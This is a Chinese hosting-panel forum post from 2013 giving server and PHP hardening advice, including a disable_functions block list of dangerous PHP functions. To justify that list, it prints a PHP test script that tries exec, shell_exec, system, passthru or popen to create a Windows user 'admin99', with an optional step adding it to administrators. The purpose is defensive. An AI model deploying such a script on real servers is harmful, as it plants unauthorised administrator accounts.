提问三步曲: 提问先看教程/FAQ索引(wdcp,wdcp_v3,一键包)及搜索,会让你更快解决问题
1 提供详细,如系统版本,wdcp版本,软件版本等及错误的详细信息,贴上论坛或截图发论坛
2 做过哪些操作或改动设置等
温馨提示:信息不详,很可能会没人理你!论坛有教程说明的,也可能没人理!因为,你懂的
[教程] 实用的安全配置指引 2013-06-15更新
本帖最后由 zhanjun 于 2013-6-15 16:22 编辑
一:系统安装1当然大多数系统安装都是由空间商安装,所以接收VPS或者服务器之后,第一时间我们是修改root密码,root密码:必须超过8位,并且有符号和字母数字。
2精简服务:关掉以下服务项(除非你有特殊需要):kudzu cpuspeed isdn portmap nfslock rpcidmapd rpcgssd bluetooth netfs pcscd apmd hidd autofs hplip cups gpm xfs avahi-daemon yum-updatesd firstboot haldaemon
3所有服务的启动脚本应为root权限,并且为755属性
4安装好WDCP之后(请到官方www.wdlinux.cn上面发布安装包安装!),第一时间修改WDCP后台密码,数据库密码!
5在WDCP里面修改 WDCP端口默认是8080(建议修改)
6web服务器只开放80与22端口(WSCP登录端口22可以修改(建议修改))
7数据库服务器只开放3306与22端口
8除80,443和22,udp161(snmp),5666(nrpe)外,不允许其他服务LISTEN外网IP,161和5666端口必须限制IP
9为什么现在才说FTP呢?如无必要,禁止开启FTP服务,FTP密码传输为明文,容易被监听。所以我一般创建整站的时候都不创建FTP
二:站点使用安全常识
1禁止长期放置phpinfo等探针,phpmyadmin等管理程序,需要的时候放置,用完后移走到非站点目录。
2禁止在在运行的站点内放置测试程序,备份目录如bak,old文件夹一律移到非站点目录。
3禁止放置install文件夹,以及upgrade、xconvert 相关升级和转换文件。
4禁止目录下出现编辑器编辑后自动生成的备份文件,比如使用vim后留下的.swp ,Editplus留下的.bak文件。
5打包站点得来的zip,tar.gz,tar文件下载之后一律不能放到站点目录下,请放其它目录
6请使用正版程序,正版模板,正版插件
7网站管理员密码请加强!
三:PHP.ini设置
1 safe_mode官方默认是OFF,所以一般建议大家还是safe_mode = On(注意如果你是discuz程序请关闭,因为开启会有问题)
2 disable_functions = 官方默认没有禁止任何PHP函数,下面请大家把最危险的7个PHP功能函数禁用
改成为disable_functions = system,exec,passthru,shell_exec,popen,proc_open,assert
即可有效的防止别人通过PHP程序入侵服务器.
修改之后,要重启IIS或者是apache才能生效的.
修改过后请重启WEB
为什么要修改了禁止函数了?
如果你感兴趣的话,不妨试试把以下代码另存为123.php
- <?php
- $cmd = 'net user admin99 admin99 /add';
- adduser($cmd);
- //$cmd = 'net localgroup administrators admin99 /add';
- //adduser($cmd);
- function adduser($cmd) {
- if (function_exists('exec')) {
- @exec($cmd, $res);
- $res = join("\n", $res);
- } elseif (function_exists('shell_exec')) {
- $res = @shell_exec($cmd);
- } elseif (function_exists('system')) {
- @ob_start();
- @system($cmd);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif (function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif (@is_resource($f = @popen($cmd, "r"))) {
- die("$cmd");
- $res = '';
- while (!@feof($f)) {
- $res .= @fread($f, 1024);
- }
- @pclose($f);
- }else{
- die("你的服务器是安全的!");
- }
- die($res);
- }
- ?>
复制代码
|